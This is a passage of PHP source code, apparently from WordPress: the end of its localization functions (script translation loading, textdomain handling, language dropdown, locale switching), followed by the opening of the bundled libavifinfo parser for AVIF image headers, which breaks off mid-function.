		$relative = substr( $relative, 0, -7 ) . '.js';
	}

	$md5_filename = $file_base . '-' . md5( $relative ) . '.json';

	if ( $path ) {
		$translations = load_script_translations( $path . '/' . $md5_filename, $handle, $domain );

		if ( $translations ) {
			return $translations;
		}
	}

	$translations = load_script_translations( $languages_path . '/' . $md5_filename, $handle, $domain );

	if ( $translations ) {
		return $translations;
	}

	return load_script_translations( false, $handle, $domain );
}

/**
 * Loads the translation data for the given script handle and text domain.
 *
 * @since 5.0.2
 *
 * @param string|false $file   Path to the translation file to load. False if there isn't one.
 * @param string       $handle Name of the script to register a translation domain to.
 * @param string       $domain The text domain.
 * @return string|false The JSON-encoded translated strings for the given script handle and text domain.
 *                      False if there are none.
 */
function load_script_translations( $file, $handle, $domain ) {
	/**
	 * Pre-filters script translations for the given file, script handle and text domain.
	 *
	 * Returning a non-null value allows to override the default logic, effectively short-circuiting the function.
	 *
	 * @since 5.0.2
	 *
	 * @param string|false|null $translations JSON-encoded translation data. Default null.
	 * @param string|false      $file         Path to the translation file to load. False if there isn't one.
	 * @param string            $handle       Name of the script to register a translation domain to.
	 * @param string            $domain       The text domain.
	 */
	$translations = apply_filters( 'pre_load_script_translations', null, $file, $handle, $domain );

	if ( null !== $translations ) {
		return $translations;
	}

	/**
	 * Filters the file path for loading script translations for the given script handle and text domain.
	 *
	 * @since 5.0.2
	 *
	 * @param string|false $file   Path to the translation file to load. False if there isn't one.
	 * @param string       $handle Name of the script to register a translation domain to.
	 * @param string       $domain The text domain.
	 */
	$file = apply_filters( 'load_script_translation_file', $file, $handle, $domain );

	if ( ! $file || ! is_readable( $file ) ) {
		return false;
	}

	$translations = file_get_contents( $file );

	/**
	 * Filters script translations for the given file, script handle and text domain.
	 *
	 * @since 5.0.2
	 *
	 * @param string $translations JSON-encoded translation data.
	 * @param string $file         Path to the translation file that was loaded.
	 * @param string $handle       Name of the script to register a translation domain to.
	 * @param string $domain       The text domain.
	 */
	return apply_filters( 'load_script_translations', $translations, $file, $handle, $domain );
}

/**
 * Loads plugin and theme text domains just-in-time.
 *
 * When a textdomain is encountered for the first time, we try to load
 * the translation file from `wp-content/languages`, removing the need
 * to call load_plugin_textdomain() or load_theme_textdomain().
 *
 * @since 4.6.0
 * @access private
 *
 * @global MO[]                   $l10n_unloaded          An array of all text domains that have been unloaded again.
 * @global WP_Textdomain_Registry $wp_textdomain_registry WordPress Textdomain Registry.
 *
 * @param string $domain Text domain. Unique identifier for retrieving translated strings.
 * @return bool True when the textdomain is successfully loaded, false otherwise.
 */
function _load_textdomain_just_in_time( $domain ) {
	/** @var WP_Textdomain_Registry $wp_textdomain_registry */
	global $l10n_unloaded, $wp_textdomain_registry;

	$l10n_unloaded = (array) $l10n_unloaded;

	// Short-circuit if domain is 'default' which is reserved for core.
	if ( 'default' === $domain || isset( $l10n_unloaded[ $domain ] ) ) {
		return false;
	}

	if ( ! $wp_textdomain_registry->has( $domain ) ) {
		return false;
	}

	$locale = determine_locale();
	$path   = $wp_textdomain_registry->get( $domain, $locale );
	if ( ! $path ) {
		return false;
	}
	// Themes with their language directory outside of WP_LANG_DIR have a different file name.
	$template_directory   = trailingslashit( get_template_directory() );
	$stylesheet_directory = trailingslashit( get_stylesheet_directory() );
	if ( str_starts_with( $path, $template_directory ) || str_starts_with( $path, $stylesheet_directory ) ) {
		$mofile = "{$path}{$locale}.mo";
	} else {
		$mofile = "{$path}{$domain}-{$locale}.mo";
	}

	return load_textdomain( $domain, $mofile, $locale );
}

/**
 * Returns the Translations instance for a text domain.
 *
 * If there isn't one, returns empty Translations instance.
 *
 * @since 2.8.0
 *
 * @global MO[] $l10n An array of all currently loaded text domains.
 *
 * @param string $domain Text domain. Unique identifier for retrieving translated strings.
 * @return Translations|NOOP_Translations A Translations instance.
 */
function get_translations_for_domain( $domain ) {
	global $l10n;
	if ( isset( $l10n[ $domain ] ) || ( _load_textdomain_just_in_time( $domain ) && isset( $l10n[ $domain ] ) ) ) {
		return $l10n[ $domain ];
	}

	static $noop_translations = null;
	if ( null === $noop_translations ) {
		$noop_translations = new NOOP_Translations();
	}

	$l10n[ $domain ] = &$noop_translations;

	return $noop_translations;
}

/**
 * Determines whether there are translations for the text domain.
 *
 * @since 3.0.0
 *
 * @global MO[] $l10n An array of all currently loaded text domains.
 *
 * @param string $domain Text domain. Unique identifier for retrieving translated strings.
 * @return bool Whether there are translations.
 */
function is_textdomain_loaded( $domain ) {
	global $l10n;
	return isset( $l10n[ $domain ] ) && ! $l10n[ $domain ] instanceof NOOP_Translations;
}

/**
 * Translates role name.
 *
 * Since the role names are in the database and not in the source there
 * are dummy gettext calls to get them into the POT file and this function
 * properly translates them back.
 *
 * The before_last_bar() call is needed, because older installations keep the roles
 * using the old context format: 'Role name|User role' and just skipping the
 * content after the last bar is easier than fixing them in the DB. New installations
 * won't suffer from that problem.
 *
 * @since 2.8.0
 * @since 5.2.0 Added the `$domain` parameter.
 *
 * @param string $name   The role name.
 * @param string $domain Optional. Text domain. Unique identifier for retrieving translated strings.
 *                       Default 'default'.
 * @return string Translated role name on success, original name on failure.
 */
function translate_user_role( $name, $domain = 'default' ) {
	return translate_with_gettext_context( before_last_bar( $name ), 'User role', $domain );
}

/**
 * Gets all available languages based on the presence of *.mo and *.l10n.php files in a given directory.
 *
 * The default directory is WP_LANG_DIR.
 *
 * @since 3.0.0
 * @since 4.7.0 The results are now filterable with the {@see 'get_available_languages'} filter.
 * @since 6.5.0 The initial file list is now cached and also takes into account *.l10n.php files.
 *
 * @global WP_Textdomain_Registry $wp_textdomain_registry WordPress Textdomain Registry.
 *
 * @param string $dir A directory to search for language files.
 *                    Default WP_LANG_DIR.
 * @return string[] An array of language codes or an empty array if no languages are present.
 *                  Language codes are formed by stripping the file extension from the language file names.
 */
function get_available_languages( $dir = null ) {
	global $wp_textdomain_registry;

	$languages = array();

	$path       = is_null( $dir ) ? WP_LANG_DIR : $dir;
	$lang_files = $wp_textdomain_registry->get_language_files_from_path( $path );

	if ( $lang_files ) {
		foreach ( $lang_files as $lang_file ) {
			$lang_file = basename( $lang_file, '.mo' );
			$lang_file = basename( $lang_file, '.l10n.php' );

			if ( ! str_starts_with( $lang_file, 'continents-cities' ) && ! str_starts_with( $lang_file, 'ms-' ) &&
				! str_starts_with( $lang_file, 'admin-' ) ) {
				$languages[] = $lang_file;
			}
		}
	}

	/**
	 * Filters the list of available language codes.
	 *
	 * @since 4.7.0
	 *
	 * @param string[] $languages An array of available language codes.
	 * @param string   $dir       The directory where the language files were found.
	 */
	return apply_filters( 'get_available_languages', array_unique( $languages ), $dir );
}

/**
 * Gets installed translations.
 *
 * Looks in the wp-content/languages directory for translations of
 * plugins or themes.
 *
 * @since 3.7.0
 *
 * @param string $type What to search for. Accepts 'plugins', 'themes', 'core'.
 * @return array Array of language data.
 */
function wp_get_installed_translations( $type ) {
	if ( 'themes' !== $type && 'plugins' !== $type && 'core' !== $type ) {
		return array();
	}

	$dir = 'core' === $type ? '' : "/$type";

	if ( ! is_dir( WP_LANG_DIR ) ) {
		return array();
	}

	if ( $dir && ! is_dir( WP_LANG_DIR . $dir ) ) {
		return array();
	}

	$files = scandir( WP_LANG_DIR . $dir );
	if ( ! $files ) {
		return array();
	}

	$language_data = array();

	foreach ( $files as $file ) {
		if ( '.' === $file[0] || is_dir( WP_LANG_DIR . "$dir/$file" ) ) {
			continue;
		}
		if ( ! str_ends_with( $file, '.po' ) ) {
			continue;
		}
		if ( ! preg_match( '/(?:(.+)-)?([a-z]{2,3}(?:_[A-Z]{2})?(?:_[a-z0-9]+)?).po/', $file, $match ) ) {
			continue;
		}
		if ( ! in_array( substr( $file, 0, -3 ) . '.mo', $files, true ) ) {
			continue;
		}

		list( , $textdomain, $language ) = $match;
		if ( '' === $textdomain ) {
			$textdomain = 'default';
		}
		$language_data[ $textdomain ][ $language ] = wp_get_pomo_file_data( WP_LANG_DIR . "$dir/$file" );
	}
	return $language_data;
}

/**
 * Extracts headers from a PO file.
 *
 * @since 3.7.0
 *
 * @param string $po_file Path to PO file.
 * @return string[] Array of PO file header values keyed by header name.
 */
function wp_get_pomo_file_data( $po_file ) {
	$headers = get_file_data(
		$po_file,
		array(
			'POT-Creation-Date'  => '"POT-Creation-Date',
			'PO-Revision-Date'   => '"PO-Revision-Date',
			'Project-Id-Version' => '"Project-Id-Version',
			'X-Generator'        => '"X-Generator',
		)
	);
	foreach ( $headers as $header => $value ) {
		// Remove possible contextual '\n' and closing double quote.
		$headers[ $header ] = preg_replace( '~(\\\n)?"$~', '', $value );
	}
	return $headers;
}

/**
 * Displays or returns a Language selector.
 *
 * @since 4.0.0
 * @since 4.3.0 Introduced the `echo` argument.
 * @since 4.7.0 Introduced the `show_option_site_default` argument.
 * @since 5.1.0 Introduced the `show_option_en_us` argument.
 * @since 5.9.0 Introduced the `explicit_option_en_us` argument.
 *
 * @see get_available_languages()
 * @see wp_get_available_translations()
 *
 * @param string|array $args {
 *     Optional. Array or string of arguments for outputting the language selector.
 *
 *     @type string   $id                           ID attribute of the select element. Default 'locale'.
 *     @type string   $name                         Name attribute of the select element. Default 'locale'.
 *     @type string[] $languages                    List of installed languages, contain only the locales.
 *                                                  Default empty array.
 *     @type array    $translations                 List of available translations. Default result of
 *                                                  wp_get_available_translations().
 *     @type string   $selected                     Language which should be selected. Default empty.
 *     @type bool|int $echo                         Whether to echo the generated markup. Accepts 0, 1, or their
 *                                                  boolean equivalents. Default 1.
 *     @type bool     $show_available_translations  Whether to show available translations. Default true.
 *     @type bool     $show_option_site_default     Whether to show an option to fall back to the site's locale. Default false.
 *     @type bool     $show_option_en_us            Whether to show an option for English (United States). Default true.
 *     @type bool     $explicit_option_en_us        Whether the English (United States) option uses an explicit value of en_US
 *                                                  instead of an empty value. Default false.
 * }
 * @return string HTML dropdown list of languages.
 */
function wp_dropdown_languages( $args = array() ) {

	$parsed_args = wp_parse_args(
		$args,
		array(
			'id'                          => 'locale',
			'name'                        => 'locale',
			'languages'                   => array(),
			'translations'                => array(),
			'selected'                    => '',
			'echo'                        => 1,
			'show_available_translations' => true,
			'show_option_site_default'    => false,
			'show_option_en_us'           => true,
			'explicit_option_en_us'       => false,
		)
	);

	// Bail if no ID or no name.
	if ( ! $parsed_args['id'] || ! $parsed_args['name'] ) {
		return;
	}

	// English (United States) uses an empty string for the value attribute.
	if ( 'en_US' === $parsed_args['selected'] && ! $parsed_args['explicit_option_en_us'] ) {
		$parsed_args['selected'] = '';
	}

	$translations = $parsed_args['translations'];
	if ( empty( $translations ) ) {
		require_once ABSPATH . 'wp-admin/includes/translation-install.php';
		$translations = wp_get_available_translations();
	}

	/*
	 * $parsed_args['languages'] should only contain the locales. Find the locale in
	 * $translations to get the native name. Fall back to locale.
	 */
	$languages = array();
	foreach ( $parsed_args['languages'] as $locale ) {
		if ( isset( $translations[ $locale ] ) ) {
			$translation = $translations[ $locale ];
			$languages[] = array(
				'language'    => $translation['language'],
				'native_name' => $translation['native_name'],
				'lang'        => current( $translation['iso'] ),
			);

			// Remove installed language from available translations.
			unset( $translations[ $locale ] );
		} else {
			$languages[] = array(
				'language'    => $locale,
				'native_name' => $locale,
				'lang'        => '',
			);
		}
	}

	$translations_available = ( ! empty( $translations ) && $parsed_args['show_available_translations'] );

	// Holds the HTML markup.
	$structure = array();

	// List installed languages.
	if ( $translations_available ) {
		$structure[] = '<optgroup label="' . esc_attr_x( 'Installed', 'translations' ) . '">';
	}

	// Site default.
	if ( $parsed_args['show_option_site_default'] ) {
		$structure[] = sprintf(
			'<option value="site-default" data-installed="1"%s>%s</option>',
			selected( 'site-default', $parsed_args['selected'], false ),
			_x( 'Site Default', 'default site language' )
		);
	}

	if ( $parsed_args['show_option_en_us'] ) {
		$value       = ( $parsed_args['explicit_option_en_us'] ) ? 'en_US' : '';
		$structure[] = sprintf(
			'<option value="%s" lang="en" data-installed="1"%s>English (United States)</option>',
			esc_attr( $value ),
			selected( '', $parsed_args['selected'], false )
		);
	}

	// List installed languages.
	foreach ( $languages as $language ) {
		$structure[] = sprintf(
			'<option value="%s" lang="%s"%s data-installed="1">%s</option>',
			esc_attr( $language['language'] ),
			esc_attr( $language['lang'] ),
			selected( $language['language'], $parsed_args['selected'], false ),
			esc_html( $language['native_name'] )
		);
	}
	if ( $translations_available ) {
		$structure[] = '</optgroup>';
	}

	// List available translations.
	if ( $translations_available ) {
		$structure[] = '<optgroup label="' . esc_attr_x( 'Available', 'translations' ) . '">';
		foreach ( $translations as $translation ) {
			$structure[] = sprintf(
				'<option value="%s" lang="%s"%s>%s</option>',
				esc_attr( $translation['language'] ),
				esc_attr( current( $translation['iso'] ) ),
				selected( $translation['language'], $parsed_args['selected'], false ),
				esc_html( $translation['native_name'] )
			);
		}
		$structure[] = '</optgroup>';
	}

	// Combine the output string.
	$output  = sprintf( '<select name="%s" id="%s">', esc_attr( $parsed_args['name'] ), esc_attr( $parsed_args['id'] ) );
	$output .= implode( "\n", $structure );
	$output .= '</select>';

	if ( $parsed_args['echo'] ) {
		echo $output;
	}

	return $output;
}

/**
 * Determines whether the current locale is right-to-left (RTL).
 *
 * For more information on this and similar theme functions, check out
 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
 * Conditional Tags} article in the Theme Developer Handbook.
 *
 * @since 3.0.0
 *
 * @global WP_Locale $wp_locale WordPress date and time locale object.
 *
 * @return bool Whether locale is RTL.
 */
function is_rtl() {
	global $wp_locale;
	if ( ! ( $wp_locale instanceof WP_Locale ) ) {
		return false;
	}
	return $wp_locale->is_rtl();
}

/**
 * Switches the translations according to the given locale.
 *
 * @since 4.7.0
 *
 * @global WP_Locale_Switcher $wp_locale_switcher WordPress locale switcher object.
 *
 * @param string $locale The locale.
 * @return bool True on success, false on failure.
 */
function switch_to_locale( $locale ) {
	/* @var WP_Locale_Switcher $wp_locale_switcher */
	global $wp_locale_switcher;

	if ( ! $wp_locale_switcher ) {
		return false;
	}

	return $wp_locale_switcher->switch_to_locale( $locale );
}

/**
 * Switches the translations according to the given user's locale.
 *
 * @since 6.2.0
 *
 * @global WP_Locale_Switcher $wp_locale_switcher WordPress locale switcher object.
 *
 * @param int $user_id User ID.
 * @return bool True on success, false on failure.
 */
function switch_to_user_locale( $user_id ) {
	/* @var WP_Locale_Switcher $wp_locale_switcher */
	global $wp_locale_switcher;

	if ( ! $wp_locale_switcher ) {
		return false;
	}

	return $wp_locale_switcher->switch_to_user_locale( $user_id );
}

/**
 * Restores the translations according to the previous locale.
 *
 * @since 4.7.0
 *
 * @global WP_Locale_Switcher $wp_locale_switcher WordPress locale switcher object.
 *
 * @return string|false Locale on success, false on error.
 */
function restore_previous_locale() {
	/* @var WP_Locale_Switcher $wp_locale_switcher */
	global $wp_locale_switcher;

	if ( ! $wp_locale_switcher ) {
		return false;
	}

	return $wp_locale_switcher->restore_previous_locale();
}

/**
 * Restores the translations according to the original locale.
 *
 * @since 4.7.0
 *
 * @global WP_Locale_Switcher $wp_locale_switcher WordPress locale switcher object.
 *
 * @return string|false Locale on success, false on error.
 */
function restore_current_locale() {
	/* @var WP_Locale_Switcher $wp_locale_switcher */
	global $wp_locale_switcher;

	if ( ! $wp_locale_switcher ) {
		return false;
	}

	return $wp_locale_switcher->restore_current_locale();
}

/**
 * Determines whether switch_to_locale() is in effect.
 *
 * @since 4.7.0
 *
 * @global WP_Locale_Switcher $wp_locale_switcher WordPress locale switcher object.
 *
 * @return bool True if the locale has been switched, false otherwise.
 */
function is_locale_switched() {
	/* @var WP_Locale_Switcher $wp_locale_switcher */
	global $wp_locale_switcher;

	return $wp_locale_switcher->is_switched();
}

/**
 * Translates the provided settings value using its i18n schema.
 *
 * @since 5.9.0
 * @access private
 *
 * @param string|string[]|array[]|object $i18n_schema I18n schema for the setting.
 * @param string|string[]|array[]        $settings    Value for the settings.
 * @param string                         $textdomain  Textdomain to use with translations.
 *
 * @return string|string[]|array[] Translated settings.
 */
function translate_settings_using_i18n_schema( $i18n_schema, $settings, $textdomain ) {
	if ( empty( $i18n_schema ) || empty( $settings ) || empty( $textdomain ) ) {
		return $settings;
	}

	if ( is_string( $i18n_schema ) && is_string( $settings ) ) {
		return translate_with_gettext_context( $settings, $i18n_schema, $textdomain );
	}
	if ( is_array( $i18n_schema ) && is_array( $settings ) ) {
		$translated_settings = array();
		foreach ( $settings as $value ) {
			$translated_settings[] = translate_settings_using_i18n_schema( $i18n_schema[0], $value, $textdomain );
		}
		return $translated_settings;
	}
	if ( is_object( $i18n_schema ) && is_array( $settings ) ) {
		$group_key           = '*';
		$translated_settings = array();
		foreach ( $settings as $key => $value ) {
			if ( isset( $i18n_schema->$key ) ) {
				$translated_settings[ $key ] = translate_settings_using_i18n_schema( $i18n_schema->$key, $value, $textdomain );
			} elseif ( isset( $i18n_schema->$group_key ) ) {
				$translated_settings[ $key ] = translate_settings_using_i18n_schema( $i18n_schema->$group_key, $value, $textdomain );
			} else {
				$translated_settings[ $key ] = $value;
			}
		}
		return $translated_settings;
	}
	return $settings;
}

/**
 * Retrieves the list item separator based on the locale.
 *
 * @since 6.0.0
 *
 * @global WP_Locale $wp_locale WordPress date and time locale object.
 *
 * @return string Locale-specific list item separator.
 */
function wp_get_list_item_separator() {
	global $wp_locale;

	if ( ! ( $wp_locale instanceof WP_Locale ) ) {
		// Default value of WP_Locale::get_list_item_separator().
		/* translators: Used between list items, there is a space after the comma. */
		return __( ', ' );
	}

	return $wp_locale->get_list_item_separator();
}

/**
 * Retrieves the word count type based on the locale.
 *
 * @since 6.2.0
 *
 * @global WP_Locale $wp_locale WordPress date and time locale object.
 *
 * @return string Locale-specific word count type. Possible values are `characters_excluding_spaces`,
 *                `characters_including_spaces`, or `words`. Defaults to `words`.
 */
function wp_get_word_count_type() {
	global $wp_locale;

	if ( ! ( $wp_locale instanceof WP_Locale ) ) {
		// Default value of WP_Locale::get_word_count_type().
		return 'words';
	}

	return $wp_locale->get_word_count_type();
}
<?php
/**
 * Copyright (c) 2021, Alliance for Open Media. All rights reserved
 *
 * This source code is subject to the terms of the BSD 2 Clause License and
 * the Alliance for Open Media Patent License 1.0. If the BSD 2 Clause License
 * was not distributed with this source code in the LICENSE file, you can
 * obtain it at www.aomedia.org/license/software. If the Alliance for Open
 * Media Patent License 1.0 was not distributed with this source code in the
 * PATENTS file, you can obtain it at www.aomedia.org/license/patent.
 *
 * Note: this class is from libavifinfo - https://aomedia.googlesource.com/libavifinfo/+/refs/heads/main/avifinfo.php at f509487.
 * It is used as a fallback to parse AVIF files when the server doesn't support AVIF,
 * primarily to identify the width and height of the image.
 *
 * Note PHP 8.2 added native support for AVIF, so this class can be removed when WordPress requires PHP 8.2.
 */

namespace Avifinfo;

const FOUND     = 0; // Input correctly parsed and information retrieved.
const NOT_FOUND = 1; // Input correctly parsed but information is missing or elsewhere.
const TRUNCATED = 2; // Input correctly parsed until missing bytes to continue.
const ABORTED   = 3; // Input correctly parsed until stopped to avoid timeout or crash.
const INVALID   = 4; // Input incorrectly parsed.

const MAX_SIZE      = 4294967295; // Unlikely to be insufficient to parse AVIF headers.
const MAX_NUM_BOXES = 4096;       // Be reasonable. Avoid timeouts and out-of-memory.
const MAX_VALUE     = 255;
const MAX_TILES     = 16;
const MAX_PROPS     = 32;
const MAX_FEATURES  = 8;
const UNDEFINED     = 0;          // Value was not yet parsed.

/**
 * Reads an unsigned integer with most significant bits first.
 *
 * @param binary string $input     Must be at least $num_bytes-long.
 * @param int           $num_bytes Number of parsed bytes.
 * @return int                     Value.
 */
function read_big_endian( $input, $num_bytes ) {
  if ( $num_bytes == 1 ) {
    return unpack( 'C', $input ) [1];
  } else if ( $num_bytes == 2 ) {
    return unpack( 'n', $input ) [1];
  } else if ( $num_bytes == 3 ) {
    $bytes = unpack( 'C3', $input );
    return ( $bytes[1] << 16 ) | ( $bytes[2] << 8 ) | $bytes[3];
  } else { // $num_bytes is 4
    // This might fail to read unsigned values >= 2^31 on 32-bit systems.
    // See https://www.php.net/manual/en/function.unpack.php#106041
    return unpack( 'N', $input ) [1];
  }
}

/**
 * Reads bytes and advances the stream position by the same count.
 *
 * @param stream               $handle    Bytes will be read from this resource.
 * @param int                  $num_bytes Number of bytes read. Must be greater than 0.
 * @return binary string|false            The raw bytes or false on failure.
 */
function read( $handle, $num_bytes ) {
  $data = fread( $handle, $num_bytes );
  return ( $data !== false && strlen( $data ) >= $num_bytes ) ? $data : false;
}

/**
 * Advances the stream position by the given offset.
 *
 * @param stream $handle    Bytes will be skipped from this resource.
 * @param int    $num_bytes Number of skipped bytes. Can be 0.
 * @return bool             True on success or false on failure.
 */
// Skips 'num_bytes' from the 'stream'. 'num_bytes' can be zero.
function skip( $handle, $num_bytes ) {
  return ( fseek( $handle, $num_bytes, SEEK_CUR ) == 0 );
}

//------------------------------------------------------------------------------
// Features are parsed into temporary property associations.

class Tile { // Tile item id <-> parent item id associations.
  public $tile_item_id;
  public $parent_item_id;
}

class Prop { // Property index <-> item id associations.
  public $property_index;
  public $item_id;
}

class Dim_Prop { // Property <-> features associations.
  public $property_index;
  public $width;
  public $height;
}

class Chan_Prop { // Property <-> features associations.
  public $property_index;
  public $bit_depth;
  public $num_channels;
}

class Features {
  public $has_primary_item = false; // True if "pitm" was parsed.
  public $has_alpha = false; // True if an alpha "auxC" was parsed.
  public $primary_item_id;
  public $primary_item_features = array( // Deduced from the data below.
    'width'        => UNDEFINED, // In number of pixels.
    'height'       => UNDEFINED, // Ignores mirror and rotation.
    'bit_depth'    => UNDEFINED, // Likely 8, 10 or 12 bits per channel per pixel.
    'num_channels' => UNDEFINED  // Likely 1, 2, 3 or 4 channels:
                                          //   (1 monochrome or 3 colors) + (0 or 1 alpha)
  );

  public $tiles = array(); // Tile[]
  public $props = array(); // Prop[]
  public $dim_props = array(); // Dim_Prop[]
  public $chan_props = array(); // Chan_Prop[]

  /**
   * Binds the width, height, bit depth and number of channels from stored internal features.
   *
   * @param int     $target_item_id Id of the item whose features will be bound.
   * @param int     $tile_depth     Maximum recursion to search within tile-parent relations.
   * @return Status                 FOUND on success or NOT_FOUND on failure.
   */
  private function get_item_features( $target_item_id, $tile_depth ) {
    foreach ( $this->props as $prop ) {
      if ( $prop->item_id != $target_item_id ) {
        continue;
      }

      // Retrieve the width and height of the primary item if not already done.
      if ( $target_item_id == $this->primary_item_id &&
           ( $this->primary_item_features['width'] == UNDEFINED ||
             $this->primary_item_features['height'] == UNDEFINED ) ) {
        foreach ( $this->dim_props as $dim_prop ) {
          if ( $dim_prop->property_index != $prop->property_index ) {
            continue;
          }
          $this->primary_item_features['width']  = $dim_prop->width;
          $this->primary_item_features['height'] = $dim_prop->height;
          if ( $this->primary_item_features['bit_depth'] != UNDEFINED &&
               $this->primary_item_features['num_channels'] != UNDEFINED ) {
            return FOUND;
          }
          break;
        }
      }
      // Retrieve the bit depth and number of channels of the target item if not
      // already done.
      if ( $this->primary_item_features['bit_depth'] == UNDEFINED ||
           $this->primary_item_features['num_channels'] == UNDEFINED ) {
        foreach ( $this->chan_props as $chan_prop ) {
          if ( $chan_prop->property_index != $prop->property_index ) {
            continue;
          }
          $this->primary_item_features['bit_depth']    = $chan_prop->bit_depth;
          $this->primary_item_features['num_channels'] = $chan_prop->num_channels;
          if ( $this->primary_item_features['width'] != UNDEFINED &&
              $this->primary_item_features['height'] != UNDEFINED ) {
            return FOUND;
          }
          break;
        }
      }
    }

    // Check for the bit_depth and num_channels in a tile if not yet found.
    if ( $tile_depth < 3 ) {
      foreach ( $this->tiles as $tile ) {
        if ( $tile->parent_item_id != $target_item_id ) {
          continue;
        }
        $status = $this->get_item_features( $tile->tile_item_id, $tile_depth + 1 );
        if ( $status != NOT_FOUND ) {
          return $status;
        }
      }
    }
    return NOT_FOUND;
  }

  /**
   * Finds the width, height, bit depth and number of channels of the primary item.
   *
   * @return Status FOUND on success or NOT_FOUND on failure.
   */
  public function get_primary_item_features() {
    // Nothing to do without the primary item ID.
    if ( !$this->has_primary_item ) {
      return NOT_FOUND;
    }
    // Early exit.
    if ( empty( $this->dim_props ) || empty( $this->chan_props ) ) {
      return NOT_FOUND;
    }
    $status = $this->get_item_features( $this->primary_item_id, /*tile_depth=*/ 0 );
    if ( $status != FOUND ) {
      return $status;
    }

    // "auxC" is parsed before the "ipma" properties so it is known now, if any.
    if ( $this->has_alpha ) {
      ++$this->primary_item_features['num_channels'];
    }
    return FOUND;
  }
}

//------------------------------------------------------------------------------

class Box {
  public $size; // In bytes.
  public $type; // Four characters.
  public $version; // 0 or actual version if this is a full box.
  public $flags; // 0 or actual value if this is a full box.
  public $content_size; // 'size' minus the header size.

  /**
   * Reads the box header.
   *
   * @param stream  $handle              The resource the header will be parsed from.
   * @param int     $num_parsed_boxes    The total number of parsed boxes. Prevents timeouts.
   * @param int     $num_remaining_bytes The number of bytes that should be available from the resource.
   * @return Status                      FOUND on success or an error on failure.
   */
  public function parse( $handle, &$num_parsed_boxes, $num_remaining_bytes = MAX_SIZE ) {
    // See ISO/IEC 14496-12:2012(E) 4.2
    $header_size = 8; // box 32b size + 32b type (at least)
    if ( $header_size > $num_remaining_bytes ) {
      return INVALID;
    }
    if ( !( $data = read( $handle, 8 ) ) ) {
      return TRUNCATED;
    }
    $this->size = read_big_endian( $data, 4 );
    $this->type = substr( $data, 4, 4 );
    // 'box->size==1' means 64-bit size should be read after the box type.
    // 'box->size==0' means this box extends to all remaining bytes.
    if ( $this->size == 1 ) {
      $header_size += 8;
      if ( $header_size > $num_remaining_bytes ) {
        return INVALID;
      }
      if ( !( $data = read( $handle, 8 ) ) ) {
        return TRUNCATED;
      }
      // Stop the parsing if any box has a size greater than 4GB.
      if ( read_big_endian( $data, 4 ) != 0 ) {
        return ABORTED;
      }
      // Read the 32 least-significant bits.
      $this->size = read_big_endian( substr( $data, 4, 4 ), 4 );
    } else if ( $this->size == 0 ) {
      $this->size = $num_remaining_bytes;
    }
    if ( $this->size < $header_size ) {
      return INVALID;
    }
    if ( $this->size > $num_remaining_bytes ) {
      return INVALID;
    }

    $has_fullbox_header = $this->type == 'meta' || $this->type == 'pitm' ||
                          $this->type == 'ipma' || $this->type == 'ispe' ||
                          $this->type == 'pixi' || $this->type == 'iref' ||
                          $this->type == 'auxC';
    if ( $has_fullbox_header ) {
      $header_size += 4;
    }
    if ( $this->size < $header_size ) {
      return INVALID;
    }
    $this->content_size = $this->size - $header_size;
    // Avoid timeouts. The maximum number of parsed boxes is arbitrary.
    ++$num_parsed_boxes;
    if ( $num_parsed_boxes >= MAX_NUM_BOXES ) {
      return ABORTED;
    }

    $this->version = 0;
    $this->flags   = 0;
    if ( $has_fullbox_header ) {
      if ( !( $data = read( $handle, 4 ) ) ) {
        return TRUNCATED;
      }
      $this->version = read_big_endian( $data, 1 );
      $this->flags   = read_big_endian( substr( $data, 1, 3 ), 3 );
      // See AV1 Image File Format (AVIF) 8.1
      // at https://aomediacodec.github.io/av1-avif/#avif-boxes (available when
      // https://github.com/AOMediaCodec/av1-avif/pull/170 is merged).
      $is_parsable = ( $this->type == 'meta' && $this->version <= 0 ) ||
                     ( $this->type == 'pitm' && $this->version <= 1 ) ||
                     ( $this->type == 'ipma' && $this->version <= 1 ) ||
                     ( $this->type == 'ispe' && $this->version <= 0 ) ||
                     ( $this->type == 'pixi' && $this->version <= 0 ) ||
                     ( $this->type == 'iref' && $this->version <= 1 ) ||
                     ( $this->type == 'auxC' && $this->version <= 0 );
      // Instead of considering this file as invalid, skip unparsable boxes.
      if ( !$is_parsable ) {
        $this->type = 'unknownversion';
      }
    }
    // print_r( $this ); // Uncomment to print all boxes.
    return FOUND;
  }
}

//------------------------------------------------------------------------------

class Parser {
  private $handle; // Input stream.
  private $num_parsed_boxes = 0;
  private $data_was_skipped = false;
  public $features;

  function __construct( $handle ) {
    $this->handle   = $handle;
    $this->features = new Features();
  }

  /**
   * Parses an "ipco" box.
   *
   * "ispe" is used for width and height, "pixi" and "av1C" are used for bit depth
   * and number of channels, and "auxC" is used for alpha.
   *
   * @param stream  $handle              The resource the box will be parsed from.
   * @param int     $num_remaining_bytes The number of bytes that should be available from the resource.
   * @return Status                      FOUND on success or an error on failure.
   */
  private function parse_ipco( $num_remaining_bytes ) {
    $box_index = 1; // 1-based index. Used for iterating over properties.
    do {
      $box    = new Box();
      $status = $box->parse( $this->handle, $this->num_parsed_boxes, $num_remaining_bytes );
      if ( $status != FOUND ) {
        return $status;
      }

      if ( $box->type == 'ispe' ) {
        // See ISO/IEC 23008-12:2017(E) 6.5.3.2
        if ( $box->content_size < 8 ) {
          return INVALID;
        }
        if ( !( $data = read( $this->handle, 8 ) ) ) {
          return TRUNCATED;
        }
        $width  = read_big_endian( substr( $data, 0, 4 ), 4 );
        $height = read_big_endian( substr( $data, 4, 4 ), 4 );
        if ( $width == 0 || $height == 0 ) {
          return INVALID;
        }
        if ( count( $this->features->dim_props ) <= MAX_FEATURES &&
             $box_index <= MAX_VALUE ) {
          $dim_prop_count = count( $this->features->dim_props );
          $this->features->dim_props[$dim_prop_count]                 = new Dim_Prop();
          $this->features->dim_props[$dim_prop_count]->property_index = $box_index;
          $this->features->dim_props[$dim_prop_count]->width          = $width;
          $this->features->dim_props[$dim_prop_count]->height         = $height;
        } else {
          $this->data_was_skipped = true;
        }
        if ( !skip( $this->handle, $box->content_size - 8 ) ) {
          return TRUNCATED;
        }
      } else if ( $box->type == 'pixi' ) {
        // See ISO/IEC 23008-12:2017(E) 6.5.6.2
        if ( $box->content_size < 1 ) {
          return INVALID;
        }
        if ( !( $data = read( $this->handle, 1 ) ) ) {
          return TRUNCATED;
        }
        $num_channels = read_big_endian( $data, 1 );
        if ( $num_channels < 1 ) {
          return INVALID;
        }
        if ( $box->content_size < 1 + $num_channels ) {
